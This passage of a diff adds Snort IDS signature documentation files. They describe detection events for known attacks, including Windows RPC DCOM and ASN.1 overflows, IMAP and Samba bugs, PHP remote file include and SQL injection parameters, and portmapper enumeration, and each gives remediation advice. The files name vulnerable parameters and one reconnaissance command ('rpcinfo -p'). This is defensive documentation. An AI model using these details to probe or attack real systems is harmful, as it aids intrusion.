+Removal of the replicant is also required, look for files ending in ".exe" or ".dll" in the <drive>:\Windows\ or <drive>:\Windows\System\ folders that use alphanumeric file names. The name of the replicant may be in one of the registry keys above.
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS312
+
+Hackfix
+http://www.hackfix.org/miscfix/doly.shtml
+
+Dark-e Trojan Archive
+http://www.dark-e.com/archive/trojans/doly/index.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2382.txt
+++ snort-2.8.5.2/doc/signatures/2382.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+2382
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3068.txt
+++ snort-2.8.5.2/doc/signatures/3068.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+3068
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"examine" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+In the case of Ipswitch IMail, an overly long mailbox name supplied as a
+parameter to the examine command may be a trigger condition of a buffer
+overflow. A name of 259 bytes or more may cause this to occur.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+	Ipswitch IMail 8.1.3
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000559.txt
+++ snort-2.8.5.2/doc/signatures/100000559.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000559
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Infinite Core Technologies ICT" application running on a 
+webserver. Access to the file "index.php" with SQL commands being passed as the 
+"post" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "post" parameter in the "index.php" script used by the 
+"Infinite Core Technologies ICT" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Infinite Core Technologies ICT
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000636.txt
+++ snort-2.8.5.2/doc/signatures/100000636.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000636
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_delete_file.php" using a remote file being passed 
+as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_delete_file.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2194.txt
+++ snort-2.8.5.2/doc/signatures/2194.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2194
+
+--
+Summary:
+This event is generated when an attempt is made to access CSMailto.cgi on an internal web server. This may indicate an attempt to exploit an input validation vulnerability in a form mail script distributed by CGIScript.NET.
+
+--
+Impact:
+Remote execution of arbitrary code and information disclosure.
+
+--
+Detailed Information:
+CSMailto.cgi is a Perl script that manages multiple email forms. An attacker can use a specially crafted URL to execute shell commands on the server and/or email files from the server to a remote email address.
+
+--
+Affected Systems:
+Any web server running CGIScript.NET CSMailto.cgi.
+
+--
+Attack Scenarios:
+An attacker places shell code in a URL sent to CSMailto.cgi on the web server. The server then executes the code.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses CSMailto.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is unknown if this vulnerability has been fixed. Contact the vendor, CGIScript.NET (http://www.cgiscript.net) for more information. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/4579
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3023.txt
+++ snort-2.8.5.2/doc/signatures/3023.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3023
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/913.txt
+++ snort-2.8.5.2/doc/signatures/913.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+913
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/607.txt
+++ snort-2.8.5.2/doc/signatures/607.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 607
+
+--
+Summary: 
+This event is generated when an attempt to login using the "bin" account is made.
+
+--
+Impact: 
+An attacker may have gained the ability to initiate a remote interactive session on the server.
+
+--
+Detailed Information: 
+This event is generated when a connection using the "bin" account via  "rsh" is attempted. 
+
+This activity is indicative of attempts to abuse hosts using a default configuration. 
+
+Some UNIX systems used to ship with "bin" account enabled and no password required. Similarly, the "rshd" service was also enabled. This allowed an attacker to connect to the machine and establish an interactive session using the "bin" account.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with default account "bin" and "rshd" service running and connects to it, then escalates his privileges to "root"
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+If a local username is not the same as the remote one ("bin"), the rule will not generate an event.
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS384
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0651
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2982.txt
+++ snort-2.8.5.2/doc/signatures/2982.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2982
+
+--
+Summary:
+This event is generated when an attempt is made to access the ADMIN$
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000399.txt
+++ snort-2.8.5.2/doc/signatures/100000399.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000399
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "flbchart.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "flbchart.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3308.txt
+++ snort-2.8.5.2/doc/signatures/3308.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3308
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2402.txt
+++ snort-2.8.5.2/doc/signatures/2402.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2402
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISS RealSecure and BlackICE products.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the ISS Analysis Module can be triggered
+by an attacker sending a single SMB packet containing an AccountName
+greater than 300 bytes. It is possible for an attacker to exploit this
+condition by sending a specially crafted packet to a host serving network shares.
+
+When the systems running one of the affected ISS products decodes the
+SMB data, exploit code may be included and executed on the machine with 
+system level privileges. Alternatively, the malformed data may cause the service to become 
+unresponsive and cause a DoS condition.
+
+Sensors under attack will display "PAM_internal_error" as a message on
+the console.
+
+Sucessful exploitation of this issue could present an attacker with the 
+opportunity to execute code of their choosing on the target host with system
+privileges. It is also possible for a Denial of Service (DoS) condition to 
+be caused by an attacker attempting to exploit this condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 20.15 through 22.9
+	Real Secure Server Sensor 7.0 XPU 20.16 through 22.9
+	Proventia A Series XPU 20.15 through 22.9
+	Proventia G Series XPU 22.3 through 22.9
+	Proventia M Series XPU 1.3 through 1.7
+	RealSecure Desktop 7.0 eba through ebh
+	RealSecure Desktop 3.6 ebr through ecb
+	RealSecure Guard 3.6 ebr through ecb
+	RealSecure Sentry 3.6 ebr through ecb
+	BlackICE PC Protection 3.6 cbr through ccb
+	BlackICE Server Protection 3.6 cbr through ccb
+
+--
+Attack Scenarios:
+An attacker may use this vulnerability to disable ISS sensors on a
+network or potentially use it to gain control of a machine running one
+of the affected products.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+This rule may not generate an alert if a legitimate SMB request contains a password
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+eEye
+http://www.eeye.com/html/Research/Advisories/AD20040226.html
+
+Bugtraq
+http://www.securityfocus.com/bid/9752
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3129.txt
+++ snort-2.8.5.2/doc/signatures/3129.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3129
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3269.txt
+++ snort-2.8.5.2/doc/signatures/3269.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3269
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1280.txt
+++ snort-2.8.5.2/doc/signatures/1280.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1280
+
+--
+Summary:
+This event is generated when an attempt is made dump entries from the portmapper.
+
+--
+Impact:
+Information disclosure.  This request can discover what Remote Procedure Call (RPC) services are offered and on what ports they listen. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts.  It can be queried for all RPC services running, the RPC program name and version, the protocol (TCP or UDP), and the port where the service listens.  This can provide an attacker valuable information about which RPC services offered and on which ports.
+
+--
+Affected Systems:
+All hosts running portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover RPC services and their associated listening ports. 
+
+--
+Ease of Attack:
+Simple. Execute 'rpcinfo -p hostname/IP'.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS429
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1603.txt
+++ snort-2.8.5.2/doc/signatures/1603.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1603
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000417.txt
+++ snort-2.8.5.2/doc/signatures/100000417.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000417
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MyBloggie" application running on a webserver. Access to the file "scode.php" using a remote file being passed as the "mybloggie_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mybloggie_root_path" parameter in the "scode.php" script used by the "MyBloggie" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MyBloggie
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3380.txt
+++ snort-2.8.5.2/doc/signatures/3380.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3380
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3173.txt
+++ snort-2.8.5.2/doc/signatures/3173.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3173
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
